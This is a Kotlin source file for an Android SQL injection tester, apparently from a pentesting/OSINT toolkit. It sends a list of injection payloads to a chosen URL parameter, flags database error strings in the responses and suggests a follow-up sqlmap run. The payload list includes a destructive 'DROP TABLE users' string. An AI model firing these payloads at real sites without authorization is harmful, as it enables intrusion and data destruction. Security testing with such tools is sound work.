package com.optix.android.tools.web

import com.optix.android.domain.model.OsintResult
import com.optix.android.domain.model.ParamType
import com.optix.android.domain.model.ToolCategory
import com.optix.android.domain.model.ToolEvent
import com.optix.android.domain.model.ToolMetadata
import com.optix.android.domain.model.ToolParam
import com.optix.android.tools.registry.BaseTool
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
import okhttp3.OkHttpClient
import okhttp3.Request

class SqliTesterTool(private val client: OkHttpClient) : BaseTool() {

    override val metadata = ToolMetadata(
        name = "sqli_tester",
        displayName = "SQLi Tester",
        description = "Test URL parameters for SQL injection vulnerabilities",
        category = ToolCategory.DNS_WEB,
        parameters = listOf(
            ToolParam("url", ParamType.STRING, "Target URL with query parameters"),
            ToolParam("param", ParamType.STRING, "Parameter name to test", required = false, defaultValue = "id"),
        ),
    )

    override suspend fun execute(params: Map<String, Any>, emit: suspend (ToolEvent) -> Unit) {
        val url = paramRequired(params, "url")
        val param = param(params, "param") ?: "id"

        emit(ToolEvent.Log("Testing $url for SQLi on param '$param'"))

        withContext(Dispatchers.IO) {
            PAYLOADS.forEach { payload ->
                val testUrl = if (url.contains("?")) "$url&$param=${payload}" else "$url?$param=${payload}"
                runCatching {
                    val request = Request.Builder().url(testUrl).build()
                    client.newCall(request).execute().use { response ->
                        val body = response.body?.string() ?: ""
                        val vulnerable = ERROR_PATTERNS.any { it in body.lowercase() }
                        if (vulnerable) {
                            emit(ToolEvent.Result(OsintResult("SQLi", "Possible vulnerability with payload: $payload", testUrl)))
                            emit(ToolEvent.Log("  [VULN] $payload → error pattern detected"))
                        } else {
                            emit(ToolEvent.Log("  [OK]   $payload"))
                        }
                    }
                }.onFailure { emit(ToolEvent.Log("  [ERR]  $payload: ${it.message}")) }
            }
        }

        emit(ToolEvent.ChainSuggestion("sqlmap_termux", mapOf("url" to url)))
        emit(ToolEvent.Done)
    }

    companion object {
        val PAYLOADS = listOf("'", "''", "' OR '1'='1", "' OR 1=1--", "\" OR \"1\"=\"1", "1; DROP TABLE users--")
        val ERROR_PATTERNS = listOf("sql", "syntax", "mysql", "ora-", "sqlite", "postgresql", "warning:", "error in your sql")
    }
}
